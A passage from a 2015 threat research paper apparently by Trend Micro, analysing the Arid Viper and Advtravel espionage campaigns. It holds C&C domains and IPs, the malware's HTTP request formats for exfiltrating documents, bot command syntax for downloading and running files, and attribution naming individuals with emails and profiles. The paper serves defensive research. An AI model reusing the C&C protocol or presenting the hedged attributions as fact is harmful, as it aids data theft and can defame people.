hard-coded path. In addition to using Skype in the registry, the malware also frequently spoofed the Skype icon. All of the malware samples seen had portable executable (PE) file sections written in Arabic. The malware logs in to the C&C console by calling a very specific PHP script on the C&C server /products/add_user.ph p?name=VMwareVirtualIDEHardDrive 1268730784&user=38. The number it creates for the user parameter 38 in the example was chosen from the malware client to identify the session. It then starts searching the whole hard disk for documents .DOC, .XLS, .PPT, and .TXT files. Each document found is reported to the C&C server using the format, GET / products/file_order3.php?name=VMwareVirtualIDEHardDri 1268730784&path=C:/Documents%20and%20Settings/ user/Templates/winword.doc. 3 | Page The Wireshark log (top) shows the files the malware sends to a C&C server. The assembly code section (bottom) searches for .XLS files to steal. 2015 Trend Micro Incorporated Operation Arid Viper Research Paper The C&C server immediately responds if each document is interesting or not. This decision probably comes from a hard-coded black list on the server side to likely prevent the client from sending out default templates and generic readme.txt files. The server also tries to avoid requesting for duplicates of files it already has in further stealing sessions. It has two possible responses: Response for an interesting document: HTTP/1.1 200 OK Date: Thu, 02 Oct 2014 14:49:45 GMT Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips mod_ bwlimited/1.4 X-Powered-By: PHP/5.5.16 Transfer-Encoding: chunked Content-Type: text/html done Response for an uninteresting document: HTTP/1.1 200 OK Date: Thu, 02 Oct 2014 14:49:23 GMT Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips mod_ bwlimited/1.4 X-Powered-By: PHP/5.5.16 Transfer-Encoding: chunked Content-Type: text/html The client then proceeds to list down all of the interesting documents to steal. These are compressed in a 0.txt file and uploaded to a C&C server via a POST request such as POST /products/fupdates.php. This request comprises a single POST parameter formatted as a GET parameter such as account=38&name=VMwareVirtualIDEHardD rive 1268730784&folder=tree&fname=02-10-2014 10-50.rml&s=. The server presumably uses the account value, which is the same as the previously mentioned user value, to track sessions where particular files are uploaded. The fname parameter is the .ZIP file s name and contains a specific date and time. The 0.txt file is deleted after the upload. At the end of the file upload, the client issues the request, /products/all_file_info1.ph p?name=VMwareVirtualIDEHardDrive 1268730784&user=38&file=02-10-2014%20 10-50.rml&type=tree, to make sure everything went smoothly. As shown, a single execution allows the malware client to steal documents from infected systems. After carrying out all of its routines, the malware routinely checks back with the C&C server to see if it should continue running using the path, /products/get_statu.php?name=VMwareVirtualIDEHardDrive 1268730784. A response containing run11 tells it to continue running whereas stop disables it to possibly avoid infecting uninteresting systems. 4 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper C&C Infrastructure Using an initial malware sample and its corresponding C&C server, we looked through internal Trend Micro databases to compile a list of similar malware that contact the same server. All cases revealed that the malware essentially exhibited the same behaviors previously outlined. The first C&C server found was pstcmedia.com. A quick search revealed that another site mixedwork.com hosted on the same IP address 188.40.81.136 also acted as a C&C server. Although the pstcmedia.com site changed IP addresses, mixedwork.com seemed to stay on this IP address. The other IP addresses pstcmedia.com used include 192.254.132.26 and 54.255.143.112. The second IP address has been sink-holed by other security researchers. To find other domains that may be part of the same campaign or used by the same perpetrators, an investigation of domain registration data was conducted. The C&C server that pstcmedia.com used was registered using the personal email address, khalid.samraa@gmail.com. More details on this can be found in the attribution section. The main page of mixedwork.com also contained a decoy redirection to the legitimate site, http://channel9.msdn.com/events/mix. But on its 404 page, it is interesting to note the mention of the email address, ahmed. jmal1989@gmail.com, as site administrator. An in-depth look at Trend Micro Smart Protection Network feedback for network activity similar to the previously mentioned URL paths allowed us to identify where the following active C&C servers were at various times: ahmedfaiez.info flushupdate.com flushupate.com ineltdriver.info mediahitech.com The first three servers have all been hosted at some point on the same IP addresses 188.40.75.132 and 188.40.106.84 located in Hetzner, Germany. A more in-depth look at the first IP address revealed that among several other domains, it also hosts two advtravel.info and fpupdate.info that have clear ties to cybercriminal activities although not necessarily to the same campaign being investigated. A closer look at the last two C&C servers revealed that they have been misconfigured and allowed directory listing. Inside them were large amounts of victim data analyzed in the Operation Advtravel section. 5 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper Maltego map showing the relationships among the sites, IP addresses, and servers seen in the featured campaigns Operation Arid Viper s main C&C servers have been configured so their main pages redirected visitors to other web pages as shown in the table below. C&C Server Site It Redirects To ahmedfaiez.info Simply shows the word test flushupate.com helpx.adobe.com/flash-player.html flushupdate.com get.adobe.com/flashplayer ineltdriver.com downloadcenter.intel.com/default.aspx mediahitech.info Not resolving anymore mixedwork.com visitmix.com/work 6 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper C&C Server Site It Redirects To plmedgroup.com palmgroupasia.com pstcmedia.com A parked page A check of the Domain Name System (DNS) Start of Authority (SOA) and Whois records of each identified C&C server turned up several other interesting email addresses, more details on all of which can be found in the attribution section. The table below shows our findings. C&C Server advtravel.info* Email Addresses Used in DNS SOA and Whois Records moh.s009@gmail.com moh.s009@gmail.com ahmedfaiez.info mahmoud.hashem12@gmail.com flushupate.com moh.s009@gmail.com flushupdate.com moh.s009@gmail.com moh.s009@gmail.com fpupdate.info* mahmoud.hashem12@gmail.com ineltdriver.com moh.s009@gmail.com mediahitech.info mahmoud.hashem12@gmail.com mixedwork.com ahmed.jmal1989@gmail.com plmedgroup.com ahmed.jmal1989@gmail.com pstcmedia.com khalid.samraa@gmail.com Note that C&C server names marked with * are part of a separate campaign Advtravel. 7 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper The malware binary hashes and their respective C&C servers, along with the dates they were first seen, allowed us to create a timeline of attacks that shows how much Operation Arid Viper has evolved over time. 8 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper OPERATION ADVTRAVEL Ongoing Operation Advtravel differed from Operation Arid Viper in terms of the malware used, their chosen victims, and attribution information. But it does bear certain similarities to Operation Arid Viper that we believe merits its addition to this paper. The cybercriminals behind this campaign may have some ties with the threat actors behind Operation Arid Viper, which include: They shared servers for command and control. They used the same email addresses to register their domains advtravel. info, fpupdate.info, and linksis.info. Their perpetrators had ties to the Gaza Strip. C&C Infrastructure While conducting our investigation, we came across an Advtravel C&C server that shared the same infrastructure with Operation Arid Viper. It is particularly interesting to note that the advtravel.info site left its server s root directory structure completely open to the public. This, combined with some other cybercriminal activities elaborated in the attribution section, led us to believe that the Advtravel attackers were less-skilled than those behind Operation Arid Viper. An analysis of December 2014 data shows that Advtravel s C&C server directory could be publicly accessed. This allowed us to download copies of its entire content to study as part of our investigation before its owners realized their mistake and locked it down. Earlier versions of data from September 2014 were also downloaded. Publicly accessible Advtravel site root directory The advtravel.info directory had several files and folders. Although we were not able to exhaustively analyze every file on it, details on its most interesting components are highlighted below: B1312.zip: This is a 1.4GB compressed backup of all of the other files on the C&C server. Leaving this file on the server allowed us to look inside the code of the .PHP files the attackers used. /apps/: This main directory contains stolen victim data, along with several PHP scripts that uploaded it to the server. It used the format, /apps/A[3 nums]X/[COMPUTERNAME_USERNAME] where A[3 nums]X represents a particular subcampaign while /[COMPUTERNAME_USERNAME] identifies a unique victim. The three digits in the folder format seem to indicate the month of the year, as they ranged from 001 to 012. Further analysis of the dates when the data was stolen, however, disproved that theory. An exhaustive analysis of every file on the server is beyond the scope of this paper but the details of the most interesting components are: 9 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper /apps/A[3 nums]X/ison.on: This refers to the last time stolen data was uploaded in the format, dd-mm-yyyy-hh-mm-ss. FileList.txt: List of files in a directory on an infected system, frequently where the malware was executed. /apps/A[3 nums]X/data/: This contains screenshots taken from infected systems, along with the following files, the presence of which varied from victim to victim: pdata.txt: List of stolen website login credentials. webrowser.txt: List of stolen web browser credentials. allips.txt: Contains victims local and external IP addresses. wifi.txt: List of stolen Wi-Fi connection credentials. CurrentProcess.txt: List of running processes on infected systems. workdata.txt: Contains the infection date, OS, user domain name, username, and a line labeled APP_ PATH=, which indicates which directory the malware was installed on. cmpinf.txt: Contains the infection date, OS, user domain name, and username. Winkey.log: Log of victims keystrokes. downinf.txt: Contains the infection date, OS, user domain name, username, and status such as Download Complete :). DrivesList.txt: List of all of an infected system s drives. Other files that the attacker manually ordered his malware to directly steal from the victim. These include documents, pictures, and so on. /data/: This contains three .EXE files shown in the table below. File Name getchr.exe getcmppass. MD5 Hash Purpose 77f590608eadcbbcc07de8d26607611f Drops HKTL_ PASSVIEW 6d63f1c6962f290156c6459d1158a715 Hacking tool that gets browser and Wi-Fi network passwords ccaac14d265915f4fdc6229ec6c9e854 log.exe b9b763980e33e390480c4a0d7c63adec Logs keystrokes An index of over 400 compromised systems from just one subcampaign /del/: This has been formatted like the /apps/ folder and also contains stolen victim data, particularly pictures, documents, and passwords. /downs/: This contains several tools like those in the /apps/ folder as shown in the following table. 10 | Page 2015 Trend Micro Incorporated Operation Arid Viper File Name Research Paper MD5 Hash Purpose Mkhaled.txt b2690a9ac508cfe49f9db76695e18f00 Contains the text https://www. facebook.com/messages/ LODALODALODA, which sends a Facebook message to Mohamed Khaled (https:// www.facebook.com/ LODALODALODA) aa.bat 1e63925edff6ea3449b7d3468443a52f Copies pat2.exe and patver. tmp from the \appdata\ roaming\explr\ folder appnew.exe ef5a37a6dcb1c417f4324730ce56be48 Backdoor that accesses the C&C server, devhelx.no-ip.org appsrv.exe 2da94e47a68d9a137504106a513a3559 Backdoor that accesses the C&C server, devhelx.no-ip.org estad.scr d6951e596910ec6105512ed002f24aa1 Downloads pat2.exe ez.exe 293d37cf8c62076de739f4bd68e685bb Backdoor that accesses the C&C server, devhelx.no-ip.org kms.rar 6fa049b83def6c41154558c706b6605d Hacking tool that comes in the form of a password-protected archive file log.exe ccaac14d265915f4fdc6229ec6c9e854 Drops WinKey.log where keystrokes are logged out.rar c69bb266bede466825f21d900453f45e .ZIP file that contains pswd2. exe detected as TROJ_ STRPADT.A pswd2.exe 0472d67eadb9aaa0491398bd14f6229f Dropped .TXT file that contains URLs, usernames, and passwords pswd4.exe d8209defc3966076737401d0a22d27d3 Dropped .TXT file that contains URLs, usernames, and passwords start.exe 0ae436d95cc1eb6a9b57df984734973e Downloads pat2.exe svrg.exe c8d387bb135d9acef3dfcf56464078fb Modifies the auto-run registry 11 | Page 2015 Trend Micro Incorporated Operation Arid Viper File Name Research Paper MD5 Hash Purpose usbf2.exe d57e0f5f0320f1b3fd8ae81a370170d0 Detected as TROJ_ STRPADT.A and downloads pat2.exe usbf4.exe e36680a19601f84af6d311e1fb847eef Detected as TROJ_ STRPADT.A and downloads pat2.exe vvb.exe 2a38ff709549b97b4e42b6fae81c6177 Modifies the auto-run registry vvb.sfx.exe f747d5f998e48279cad7e9ed46e86a6b Drops VVB.exe /pat/: This contains two files as shown in the table below. File Name pat2.exe MD5 Hash 7171feeedd345a7d50091e76fc7e3ac4 aa55cb19c3a61c0177e75198c70d6fa3 pat4.exe dcd2314f1af5dd1fd3e317bdf32faabb Purpose SFX archive that installs micro.exe First sample is a normal file while the second is detected as TROJ_STRPADT.A /patlogs/: Every action that the C&C server carries out is logged in a series of detailed log files here. Each log file uses the format, Log_A[3 letters]X_[COMPUTERNAME_USERNAME]_m-dd-yyyy-hh-mm-ss.log. Log snippet showing victim data stolen by an attacker logged in as admin@dhs 12 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper /rpts/: This contained several empty subdirectories and two files as shown in the table below. File Name MD5 Hash Purpose pat.exe 2e5da32b07c531a6508b77f624bbeb22 Same file as start.exe app11.exe 342f79337765760ad4e392eb67d5ed2c MSI installer for dotnet2 /tools/: This contains some .PHP files, two .EXE files, and a .TXT file as shown in the table below. File Name MD5 Hash Purpose dotnet2.exe c64fd1f972822ed84378c7058fea0744 Legitimate .NET installer wininstl.exe 342f79337765760ad4e392eb67d5ed2c Same file as app11.exe LastIps.txt: This is a long list of IP addresses that correspond to people accessing the advtravel.info/tools/ip.php page. Based on geolocation data, these people came from all over the world. The actual last login by the attacker to the server can be geolocated to Gaza in Palestine. The advtravel.info domain was moved to privacy-protected Whois in 2013. From 2007 to 2012 though, it was registered to: Registrant Name:Adv Travels Registrant Organization:Adv Travels Registrant Street1:4401 Bayou Boulevard Registrant Street2: Registrant Street3: Registrant City:Pensacola Registrant State/Province:Florida Registrant Postal Code:32503 Registrant Country:US Registrant Phone:+01804777777 Registrant Phone Ext.: Registrant FAX: Registrant FAX Ext.: Registrant Email:renold.dave@advtravel.info Malware An analysis of the stolen files and logs allowed us to come up with a brief description of the initial Advtravel malware. In general, it only serves to respond to a C&C server. The attackers then manually downloaded other tools onto infected systems to extract victim credentials. 13 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper After the initial dropper or download chain, the malware starts its data-stealing routine. It calls home to a C&C server and report each folder found on the infected system. The server then replies with a confirmation on whether or not the malware should send the folders contents. The Advtravel and Operation Arid Viper malware had similar behaviors. This may or may not be a coincidence, as their binaries significantly differed. The Advtravel malware was coded in C# so the dropper needs to go through additional steps to build and update a .NET-running environment where it can be executed. This involves downloads and Microsoft software installations, which not only caused significant infection delays but also served as an additional point of failure to execute. The following are some sample HTTP requests seen in Operation Advtravel: GET/sys/who.php?t=2/8/2015%205:30:59%20AM HTTP/1.1: First-time login. GET/sys/genid.php?t=2/8/2015%205:31:00%20AM: Asks to generate a unique ID for a particular first-time client. The ID returned in this example was 2aMUu7TcPbUBsHVLNogB.vic, which will be used by the bot client throughout. POST/sys/upload.php?dirname=//2aMUu7TcPbUBsHVLNogB.vic&x=old: Send directory name information. GET/sys/data//2aMUu7TcPbUBsHVLNogB.vic/command. cmd?t=2/8/2015%205:31:02%20AM: Get a command from the server. Possible Advtravel malware infection chain In one particular example, the initial malware was a self-extracting .CAB file that eventually downloaded the main malware and patver.tmp, which contains the value, A012X. This value indicates the server folder where the stolen data should be uploaded to. This is essentially a campaign identifier. The malware then dropped a .JPG file showing the famous Dome of the Rock Church in Jerusalem. It also exhibited the following behaviors: Installs itself to a default location such as C:\Users\[USER]\AppData\Roaming\ AdobeAPP or C:\Documents and Settings\[USER]\Application Data\explr Puts logs and support files in C:\Users\[USER]\AppData\Roaming\AdobeAPP\ temp (Note that the .EXE file varies and appears to be downloaded on demand.) Uses many of the support files previously described in another section, which are found in the \temp folder Can send commands such as the following to bots: get_scrshot: Get a screenshot. get_workdata: Returns an infected system s local time, OS, user domain 14 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper name, username, and malware path. explore_dir*[FULL PATH TO DIR]: Gets a directory listing. run_file*[FILE TO RUN]: Executes a file. get_file*[FILE TO GET]: Retrieves a victim s file. get_procslist: Gets a process or task list. kill_prcs*[PID]: Kills a process. get_driveslist: Lists all of an infected system s mounted drives. =FILE=: Allows attackers to upload new files to a victim s system. download*[URL]: Downloads a file from a URL onto an infected system. del_path*[FILE]: Deletes a file or folder. Communicates with the advtravel.info/ apps/ directory to listen for commands and uploads stolen data to the / del directory. The log lists down an infected system s current directory, runs a password stealer, retrieves stolen credentials, and takes screenshots. Log of the activities an Advtravel malware variant performs on infected systems Based on patlogs, at least four botnet administrators khloda@dhs, belal@dhs, belal2@dhs, and admin@dhs log in to the server and control the bots through the administration panel a tool called DHDSM. Victims The Advtravel server has more than 500 infected systems. All of the stolen details found on it have been backed up for evidence. Most of the data have been analyzed to get an idea as to who have been victimized by the campaign. Some observations made include: The majority of victims appeared to be Arabs from Egypt. All of the infected systems appeared to be personal laptops, judging by the presence of a battery indicator in screenshots. This led us to believe that the campaign was not as sophisticated or as targeted as Operation Arid Viper. 15 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper The attackers appear to be keenly interested in images stored on victims systems. This could be a sign that they are looking for incriminating or compromising images for blackmail purposes. As such, the attackers may be less-skilled hackers who are not after financial gain nor hacking for espionage purposes. A lot of the screenshots unusually showed open Facebook profiles. The victims either spent a lot of time on Facebook every day or the malware took screenshots every time a victim accessed the site. This allowed the attackers to identify their victims. More details on this will be revealed after further investigation. fpupdate.info Server The fpupdate.info server s main directory contains a /mobile/ folder. At the time of writing, the site no longer allowed public access to the server s files although we were able to back them up back in September 2014. At present, all of the related .PHP files cannot access the server back-end database, which could mean it is down or unmaintained. An uploads folder had two subfolders that contained personal information stolen from victims mobile phones. Each subfolder had another two subfolders /calllog and /sms. We were, however, unable to obtain a copy of the Android malware the attackers may have used to create the logs. fpupdate.info main directory VICTIMS The fpupdate.info server contained phone data stolen from two victims, namely: Victim data stored on fpupdate.info LGE_IMEI: The device s International Mobile Station Equipment Identity (IMEI) number revealed that it was an LG D821 Nexus 5 phone owned by someone from Israel. Call logs containing several Israel-based phone numbers, some of which had corresponding contact names, were found on the server. One particular contact called My Number belonged to someone from Palestine. SAMSUNG_IMEI: This device s IMEI number revealed that it was a Samsung P5100 Galaxy Tab 2 10.1 owned by someone from Israel. Logs indicating calls made to several Israel-based phone numbers were found, along with SMS logs. Most of the text messages were tweets by @shadipal2 and @Alaqsavoice_Brk, users who relayed real-time news about Gaza. The other text messages, meanwhile, revealed meetings in places in Tunisia such as Gafsa and Sakiet Eddaier. 16 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper LINKSIS.INFO SERVER In addition to the two previously mentioned servers, linksis.info has also been found to have a very similar open directory layout to advtravel.info. It also used a lot of the same malware. We have not completely explored this server though a quick look clearly revealed ties to advtravel.info, including: It is hosted on the same IP address 188.40.106.84 located in Hetzner, Germany. Its DNS SOA record used the email address, mahmoud.hashem12@gmail. com. It has an http://www.linksis.info/sys/del/belal/ folder, which is owned by one of the users of advtravel.info s C&C control panels. It contains the same log files webbrowser.txt and so on although these were encrypted. ATTRIBUTION The individuals identified in this section have some apparent connection with Operation Arid Viper or Advtravel. Trend Micro would, however, like to point out that they may or may not be involved with cybercrime. We simply intend to lay out verified facts that link them to the campaigns infrastructure and malware. Several other reasons such as having their email accounts stolen and used to register C&C servers, deliberate impersonation, and the like could also account for their links to the campaigns. Khalid Samra Some of the C&C server domain names were registered by a supposed Khalid Samra from Palestine. His social networking account email addresses were used to register several Operation Arid Viper C&C servers based on Whois registration data. An email address incorporating Samra s name khalid.samraa@ gmail.com was used to register the pstcmedia.com C&C server based on DNS SOA records. Further OSINT investigation revealed ties to other similar email addresses khalid. 17 | Page Khalid Samra s profile also mentions that he was based in Palestine. 2015 Trend Micro Incorporated Operation Arid Viper Research Paper Samra s two Facebook accounts with matching profiles and images Two Facebook pages Samra has ties to samraa@gmail.com, khalid.samraa@hotmail.com, khalid.samraa@wwb.ps, and khalid.samraa@coreions.com. To get a better idea as to what sort of person Samra is and to determine if he may have a motive for taking part in the campaigns, we took a look at his other social networking accounts. He apparently has two Facebook accounts https://www. facebook.com/khaled.a.samraa and https://www.facebook.com/khalid.k.abusamra. The email address for the first account was used to register one of Operation Arid Viper s C&C servers. The publicly visible profile pictures also suggest that he owned all three accounts. The accounts indicate that he lives in Gaza and that he has proPalestine and anti-Israeli political beliefs. 18 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper What appears to be Samra s second Facebook account also indicates that he is from Gaza. It also mentions where he worked, Coreions, like his LinkedIn profile. Unlike the first account though, this has more ties to several members of his family. Photographs posted on it also clearly show his presence in Gaza in 2012. A further Facebook search for the email address, khalid.samraa@gmail.com, also pointed to a group page called GazaUnderFire2012 (https://www.facebook.com/ GazaUnderFire2014), which Samra apparently set up back in 2012. This page then led to a newer group page called Gaza Under Attack 2014 (https://www.facebook.com/gazaunderattack2014). Both of the pages provide updates on the ongoing Palestine-Israel conflict with a very strong pro-Palestine/-Hamas and anti-Israeli focus, just like the personal Samra Facebook accounts. Apart from the Facebook accounts, Samra had other social networking accounts such as in Twitter (https://twitter.com/KhalidSamraa), Google+ (https://plus.google.com/113430785728528060894/ and https://plus. google.com/117379342774799926526/), and MySpace (http://myspace. com/225923317). On 4 November 2011, Coreions Whois record again changed. Although all of the major details remained the same, the email address was changed to khalid.samraa@gmail.com. On 13 January 2012, its entire registration details changed to the following: khalid abu samra () Gaza- Al Rimal- Al Wihda Street, Opposite to Al-Amal institu Al-Nakheel commercial mall, 1st floor Gaza, ISRAEL 00972 Ahmed Jmal The email address, ahmed.jmal1989@gmail.com, was used to register two of Operation Arid Viper s C&C servers mixedwork.com and plmedgroup.com. It also has ties to the Facebook account, https://www. facebook.com/ahmed.jmal.00. The Ahmed Jmal Facebook account indicates that he resides in Marrakesh, Morocco. Mahmoud Hashem The email address, mahmoud.hashem12@gmail.com, was used to register two Operation Arid Viper C&C servers mediahitech.info and ahmedfaiez.info and one of the Advtravel C&C domains fpupdate. info. Ahmedfaiez.com and fpupdate.info also has ties to the email address, moh.s009@gmail.com. This fact shows a relationship between 19 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper the two campaigns even if they used unrelated binaries. They did have some commonalities such as sharing a common network infrastructure. Moh.s009@gmail.com was also used to register six of the C&C servers ahmedfaiez.info, fpupdate. info, ineltdriver.com, flushupdate. com, flushupate.com, and advtravel. info related to the two campaigns. It was also found in DNS SOA records for linkedim.in, iwork-sys. com, nauss-lab.com, nice-mobiles. com, and abuhmaid.net. The site, linkedim.in, was particularly registered using the following details: Ahmed Jmal s email address was used to register two of Operation Arid Viper s C&C servers. Registrant Name:Mahmoud Hashem Registrant Organization:blogging hoster Registrant Street1:omar mokhtar Registrant City:gaza Registrant State/Province:gaza strip Registrant Postal Code:00972 Registrant Country:IL Registrant Phone:+972546587385 Registrant Email:blogging.host@live.com The registration details above ties the two email addresses mahmoud.hashem12@ gmail.com and moh.s009@gmail.com together. We believe they belong to the same person though we have yet to find a real person behind the profiles. Dev_hima As previously mentioned, several advtravel.info infection logs can be clearly linked to Operation Advtravel s malware developers or bot masters. It is also worth remembering that the malware used in Operations Advtravel and Operation Arid Viper distinctly differed from each other though they shared a common network infrastructure. The logs showed that the infection started from the same folder Visual Studio drops a compiled file into and that screenshots showed other malware present on advtravel.info. This shows that advtravel.info is a development environment and could very likely be where the malware are programmed. The server s username is Dev_hima. A close look at other log files allowed us to find at least three other systems with the same user. Some of the samples gathered from the Trend Micro sample database listed down Dev_hima as an internal author as well. 20 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper The bot logs from Dev_hima look like logs from test environments with different virtual machines that belonged to the original developer who performed some debugging and testing. This mistake went even further, as while testing the malware, it took several screenshots of Dev_hima s system, which gave us some insight into his operations. The CPanel display in a Windows 8 environment showed how he went through victim logs. Other tabs open in the same browser display his Facebook profile page. The control panel is a Windows tool called DHSDM. Its icon can also be seen as the rightmost program on the taskbar. This can be found on several of Dev_hima s test virtual machines. It also showed that Dev_ hima corresponded to the Admin user of the control panel. Other details recovered from logs revealed an IP address geolocated in Cairo, Egypt. Another clue to Dev_hima s relation to the Advtravel malware was a working downloader from December 2014 that is related to advtravel. info. It downloaded a malware from a server that is then run on infected systems. The PE header data of this downloader again showed the name, Dev_hima as application publisher. Nveron appears to be Dev_ hima s filename for the malware. Screenshot of Dev_hima s system stored on advtravel.info Information on a malware variant published by Dev_hima A web search for developers with the nickname, Dev_hima, turned up one profile that fit what we know so far very well. Dev_hima was not exactly hiding online. He actually had various online accounts http://devhima.blogspot.com/p/blog-page.html, http:// devhima.webs.com/about, youtube.com/user/ibrahhm2121/, facebook.com/devhima, twitter.com/dev_hima, linkedin.com/pub/ebrahim-elsharawy/69/324/7b5, scribd.com/ devhima, soundcloud.com/ebrahim-elsharawy, and devhima.tumblr.com that tie his real identity to his nickname. 21 | Page 2015 Trend Micro Incorporated Operation Arid Viper Dev_hima can also be tied to the Skype ID, ibrahhm2121, along with the email addresses, dev_ hima@yahoo.com, devhima@ hotmail.com, ibrahhm2121@ gmail.com, ibrahhm212@gmail. com, and ibrahhm2121@yahoo. com. Of course, it is conceivable that a malicious hacker sought to appropriate El Sharawy s identity or coincidentally chose the same nickname. Research Paper Some of Dev_hima s social networking profiles A look at malicious activities tied to the nickname, Dev_hima, revealed very interesting things. We found that Dev_hima was part of the Gaza Hacker Team, a group involved in multiple website hacking and defacement incidents against Israeli targets in the past. A few of the more than 2,000 defacement attacks the team carried out involved sites in Israel. Some of Dev_hima s hacker group profiles can also be found on gazahacker.org/cc/member-u_42271. html and arabteam2000-forum.com/ index.php/user/272853-dev-hima/. His personal project page http:// devhima.webs.com/ showed Dev_hima also has ties to several email addresses and online several potentially malicious tools accounts that he has coded. DevPcTwitter, for instance, allows attackers to control a target system using a Twitter account. DevSpy, meanwhile, allows parents to monitor their children s online communication and browsing habits for protection purposes. In reality though, DevSpy is simply a piece of spyware. DevPcTwitter (MD5: bfcb492d282960152a366b5760b87920d02c6e83) is publicly available for download on Dev_hima s site. The structure of the last four DevPcTwitter commands getfile*[file_path] interesting. The commands had a similar though not identical syntax to the format Dev_hima s bot used to communicate with advtravel.info. Dev_hima shared tutorial videos on YouTube on how to configure and use DevPcTwitter. These videos were linked to his personal page. His Twitter bot function is simple. It lets a user register a Twitter account and an email address in the 22 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper List of website attacks that Dev_hima s hacker group was involved with DevPcTwitter program. The user can then start tweeting commands via the account registered, which the bot reads and executes. Commands such as GetScreenShot tells DevPcTwitter to take screenshots of a victim s desktop that it then emails to the email address registered. The bot can also download and execute files using the Download$[URL] command. DevPcTwitter s UI shows it was designed for Arabic-speaking users. DevPcTwitter is low-risk because it requires a lot of user interaction to set up and operate. Its bot does not have the functionality to stealthily run in the background as well. Dev_hima also developed the spying tool, DevSpy. Its installer (MD5: 23 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper Tools available for public download on Dev_hima s website d325c541fa0f3080a25394fe3a586100910f5569) is also available for public download from http:// devhima.webs.com/. Unlike DevPcTwitter, the DevSpy interface uses English, not Arabic. Its setup is also pretty self-explanatory. It takes desktop screenshots at user-specified intervals that it then stores in a folder. It can stealthily run in the background. In stealth mode though, it can be only be accessed by pressing a hotkey that requires password authentication. In the same mode, DevSpy can remove itself from a victim Windows Task Manager process list. DevSpy is medium- to high-risk because it is designed to spy on users in stealth mode. It is possible or even likely that the malware used to communicate with advtravel.info is a privately enhanced version of Dev_hima tools. VIRUS_HIMA Dev_hima used the handles, hima, virusxhima and ViRuS_HiMa, with the email address, virusxhima@gmail.com, though there was not enough evidence to confirm that Dev_hima and ViRuS_HiMa are the same person. ViRuS_HiMa had ties to several high-profile hacking attacks, including: 24 | Page The theft of 150,000 passwords from Adobe employees, customers, and partners such as the U.S. Military, USAF, Google, NASA, and DHL [5] DevPcTwitter supports an extensive array of executable commands. 2015 Trend Micro Incorporated Operation Arid Viper The cross-site scripting (XSS) attack on 2shared. com [6] More than 1,700 website defacement incidents The Yahoo SQL attack claimed to have been by perpetrators from Egypt Some emails with ties to ViRuS_ HiMa include virusxhima@gmail. com, egypt_government@hotmail. com, a.e@hotmail.com, and ana. msre@hotmail.com. Research Paper DevSpy s UI and setup console Mohammed Khaled As previously mentioned, one advtravel.info file Mkhaled.txt had the link, https://www.facebook.com/messages/LODALODALODA. When clicked, a Facebook message was sent to a Mohamed Khaled profile page (https://www.facebook.com/LODALODALODA) as notification of new successful system infections. The profile indicates that Khaled lives in Cairo, Egypt. Interestingly, a Mohamed Khaled can be further connected to Dev_ hima. On a page promoting Dev_hima s DevPcTwitter tool, we saw one comment from a Mohamed Khaled regarding the remote access tool (RAT). Fathy Mostafa .TXT file snippet from http:// www/hackerbox.net/upload. txt showing a relationship between Dev_hima and ViRuS_HiMa Fathy Mostafa is another individual with apparent connections to Operation Advtravel. In one of the advtravel.info logs, we saw a screenshot of the main Advtravel malware under development. The code showed testing URLs that used the same paths as the actual malware that accessed the advtravel.info domain. The username, fathy, can clearly be seen. Other logs from the same infection gave us some stolen account details, including: http://members.000webhost.com/login.php was registered using ismaelalaa32@gmail.com and fathymostafa9@gmail.com https://khamsat.com/register, https://www.freelancer.com/, and https://www. linkedin.com/uas/login used fathymostafa9@gmail.com Mostafa s skills, according to work profile sites, include C# programming, which was coincidentally used to program the Advtravel malware. 25 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper Mohammed Khaled s Facebook profile and picture The email address, fathymostafa9@ gmail.com, was also associated with the Facebook account, https://www. facebook.com/fathy.mostafa.1690. The profile indicates that Mostafa lives in Egypt, like many others tied to Operation Advtravel. He studied Electronic Engineering and is a member of several Facebook groups, including two that were related to the Muslim Brotherhood. Khaled commenting on Dev_hima s RAT Other Individuals In addition to the previously mentioned individuals, other nicknames associated with Operation Advtravel have been found as well. We saw three other account names khodla, belal, and belal2 on the Advtravel control panel. The systems that belal owned had particular ties to Operation Advtravel Advtravel.info log showing the malware code while it was being due to their use of the word Roo0T developed Ro0t in usernames. His systems all had the main malware control panel, along with games such as Counter Strike Global Offensive. He also had folders containing the njrat7 malware a popular RAT in Arabic countries, as it was 26 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper locally developed and supported. Belal s folders also contained a .TXT file named Israil mails.txt, which had 2,572 email addresses, possibly for attack purposes. Mostafa s Facebook profile Belal logged in to the Advtravel control panel 27 | Page 2015 Trend Micro Incorporated The South Korean Fake Banking App Scam Research Paper CONCLUSION The malware campaigns Operation Arid Viper and Advtravel discussed in detail in this paper are separate but closely linked. Operation Arid Viper targets specific Israeli organizations, including some high-profile victims, using a network infrastructure in Germany with several strong ties to Gaza in Palestine. Advtravel, meanwhile, has more connections possible culprits and victims alike to Egypt. However, based on IP address logins, we again saw connections to the Gaza Strip. While the two campaigns shared infrastructure, their tactics could not be further apart. Operation Arid Viper is a sophisticated campaign targeting key individuals in organizations in order to exfiltrate sensitive data. Its C&C servers were, in fact, closely locked down, providing very little hint that could aid our investigation. Advtravel, on the other hand, looks very much like the work of less-skilled cybercriminals who appeared to be motivated neither by financial gain nor conducting espionage. Instead, they look like a classic group of beginner hackers just starting their careers. Yet it remains intriguing to note the close ties between Operations Arid Viper and Advtravel, apart from signs of Arabic heritage. We cannot know for sure if the people behind the campaigns operate as separate groups or as individuals though we suspect they are part of a larger organization. Several organizations with ties to both Gaza and Egypt, for instance, the 